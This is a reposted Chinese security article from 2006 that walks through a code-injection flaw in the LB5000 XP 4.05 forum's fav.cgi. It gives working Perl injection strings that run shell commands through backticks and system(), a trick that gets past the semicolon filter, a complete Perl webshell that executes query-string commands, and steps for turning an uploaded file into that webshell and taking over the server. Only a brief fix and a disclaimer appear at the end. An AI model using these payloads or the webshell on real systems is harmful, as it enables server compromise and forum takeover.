登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

LB5K,别来无恙否?------再谈LB5000 XP漏洞
发表日期:2006-03-12作者:[ITS]Jambalaya[转贴] 出处:安全焦点  

LB5K,别来无恙否?------再谈LB5000 XP漏洞

作者:[ITS]Jambalaya<Jamblaya@77169.com>
论坛:www.itaq.org
站点:www.hackart.org&&www.77169.com

#########仅以此文献给养育我多年的姥姥,############
#########并想对她说:“姥姥,您辛苦了!”############

序:自从上次读完LB5000的源代码后,一直想把LB5000的源代码系统的看一遍,但是一看就觉得头大,虽然好友SystEM32反复激励,我也没有坚持看下去,总是半途而废。再次捧起LB5000源代码还是由于一位叫云舒朋友的反面“激励”,让自己的懒惰一扫而空,再次捧起让我看着眼晕的代码,只为了证明自己。其实人总是这样,没有压力不抬头,没有动力不奋进,二者都具备的时候,你就会看到真实的自己了:)赌气的我从雷傲的网站上找到了最新的LB5的代码,开啃!
一、涉及版本:
LB5000是www.leoboard.com开发和维护的一款开放源代码的CGI论坛,也是国内使用较为广泛的论坛。漏洞涉及版本:LB5000XP4.05受此漏洞影响。,低于4.05的版本我没有作测试,有兴趣的朋友可以自行测试。
二、漏洞分析:
这次引起漏洞的是一个叫fav.cgi的文件,这个文件的功能是用来把自己喜欢的文章添加到个人收藏。里面因为没有谨慎的对待用户提交的代码,导致恶意用户可以通过构造语句绕开LB5的限制写入Webshell,继而操作整个主机。相关代码如下所示:
150 $file=(-e"${lbdir}memfav/close/$infilemembername.cgi")?"${lbdir}memfav/close/$infilemembername.cgi":"${lbdir}memfav/open/$infilemembername.cgi";
......
198 push(@catelist,$newcate."o");
......
208 open (FAV, ">$file");
209 print FAV "$catelist\t$favdescript\n";
210 print FAV "$intopic\t$inforum\tnormal\t$incate\t$currenttime\t\n";
我来简单解释一下,在正常情况下,我们要建立自己的收藏目录,而且可以把自己新建要收藏贴子的目录选为保密和公开,并且分别以自己的用户名保存在memfav/close和memfav/open下,如用户名为Jambalaya,我选择我的目录为保密,就会保存为../cgi-bin/memfav/close/Jambalaya.cgi,程序首先判断用户的文件是否为保密,从而选择目录,然后向文件中写入用户要收藏的文章ID。首先被写入的是你的新建目录的名字,后面有一个字母“o”,意思是open就是开放的意思,如果你选择的是保密(close),后面的字母就是"c"。新建目录的后面是这个新建目录的内容简介($favdescript)。然后紧跟着一个回车,再输入你选择的贴子号($intopic),第几论坛($inforum),新建目录名($newcate),现在的时间($currenttime)。如我们新建目录的名字是欢迎大家来www.itaq.org玩,收藏夹内容简介写我是Jambalaya,来自IT安全和Hackart,欢迎大家到itaq.org。随便选择一个贴子点击收藏,那么看看论坛是如何保存的,找到../cgi-bin/memfav/close/Jambalaya.cgi的文件,里面记录如下:
欢迎大家来www.itaq.org来玩o >>我是Jambalaya,来自IT安全。(这里一个回车)
2 1 normal 欢迎大家来www.itaq.org来玩 944767971
这是用户的正常输入,一切看起来都没什么瑕疵,感觉很完美。就算我再目录处写入system @ARGV#的一个webshell,也会被后面回车下的一大堆垃圾所毁灭。而如果我只新建一个目录而不收藏任何文章,那会是什么样子呢?我们来试试看,我们只建立一个叫欢迎大家来www.itaq.org玩的目录,../cgi-bin/memfav/close/Jambalaya.cgi的文件,里面记录如下:
欢迎大家来www.itaq.org来玩o
正如你所见,回车已经消失了。。。在标题处输入System('dir f:\\')#,Yeah!看到F盘了!高兴么?先别高兴的太早,因为我们的攻击好没有开始,我为什么这么说呢?先看看到这几行代码?
......
if(-e "${lbdir}memfav/close/$infilemembername.cgi");
elsif($checked eq "newcate"){
&error("设置个人收藏&新目录名称不能为空!") if($newcate eq "");
&error("设置个人收藏&新目录名称不能多于 30 个英文字(15 个中文字)!") if(length($newcate) > 30);
.......
我们目录名的输入必须小于30字母,这条件有点太苛刻了,稍微试一下你就会发现,30个英文字母连浏览完目录的字数都不够啊!我又反复的看了看代码,注意到后面的目录简介和目录名只有一个TAB键,如果我们可以把两个输入连起来字数的限制就不是什么问题了,可是在简介前和目录后会加上">>"和“o/c”这样的东西,并且过滤了分号,而且>>前和o之间的东西是我不能控制其输入的,弄了半天我也绕不开这两个捣乱的东西,有点郁闷了!愣了一会,忽然想起小时候姥爷教我太极拳中的推手的时候,姥爷曾告诉我在不能消灭敌人的时候,就要学会去利用敌人----接力打力!!在0.01秒的发呆之后,一丝微笑浮现在了我的脸上。。。
怎么才能消除>>带来的语法错误呢?嘿嘿,利用要比毁灭来的轻巧。就去利用他给我们捣乱的这个东西试试看,我们构造这样的语句[如图1]:
$o=10,$o>>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#
先在标题栏输入"$o=10,$"(没有引号),在简介栏里输入">>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#
"(没有引号),这样构造出来,在,../cgi-bin/memfav/close/Jambalaya.cgi里的语句就是$o=10,$o >>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#(友情提示:$a=后面是反引号,不是单引号),我简单解释一下,因为>>=是复合右移位,所以“$o=10,$o>>=1”成了一个简单的赋值语句,中间的tab不会给我们带来阻碍。反引号``可以用来执行系统命令。而语句之间我们用逗号表达式,逗号表达式会从左到右的执行赋值语句,直到最后一条输出语句,这样就避开使用分号。最后输出就达到我们的目的了[如图2],这回才是彻底的成功了,可以松口气了。
好了,我们基本上已经可以写入任何语句了,先来弄个webshell。上传一个包含webshell的txt文件,文件内容为:
#Jambalaya
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我们知道他会保存在..\non-cgi\usr\1\1_贴子号。1是代表论坛板块的ID值,贴子号是贴子的ID值,我举个列子:把你的鼠标指向你上传文件的贴子就可以看到froum=1&topic=231,那么你上传的txt文件就是..\non-cgi\usr\1\1_231.txt。好了,我们用一条语句解决问题:$o=10,$o>>=1,$a=`ren f:\\myhome\\lbxp\\non-cgi\\usr\\1\\1_231.txt`,print $a#[友情提示:也可以用:$o=10,$o>>=1,system('ren f:\\myhome\\lbxp\\non-cgi\\usr\\1\\1_231.txt Jam.cgi')#],只要它不报错就成功了。在浏览器中输入www.target.com/non-cgi/usr/1/Jam.cgi?dir,OK了~~~~~~~~
你可以在cgi-bin下找到member的目录,然后把自己加成论坛管理员,具体操作可以去www.itaq.org看我的另一篇文章《千里之堤,毁于蚁穴-LB5000 XP漏洞再现》这里不再赘述了。我写了一个关于这个漏洞的脚本放在了论坛,有兴趣的朋友可以去看看:)
解决方法:其实解决方法可说可不说,我简单说一下吧,可以象LB5K曾经的解决方法一样,在目录的前面加上*#!&*这些特殊字符,然后再提取的时候将这些东西去掉就可以了。
我在文章中把整个漏洞说得很细,我只是想让大家知道其中的危害,并不是让大家去攻击别人。我们也可以看到LB5历经磨难,虽然出了几个bug,但并不代表LB5不是一个优秀的论坛,相反,它日趋完善。没有一个论坛没有BUG,就好像没有一个人不犯错误一样。我们关注LB5也是希望她能够更加的完美,更加担得起“安全”这两个不寻常字的重量!祝LB5一路走好。。。
行文仓促,难免有错,还望高手能不吝赐教,也欢迎大家光临www.itaq.org交流技术。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 LB5K,别来无恙否?------再谈LB5000 XP漏洞

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00231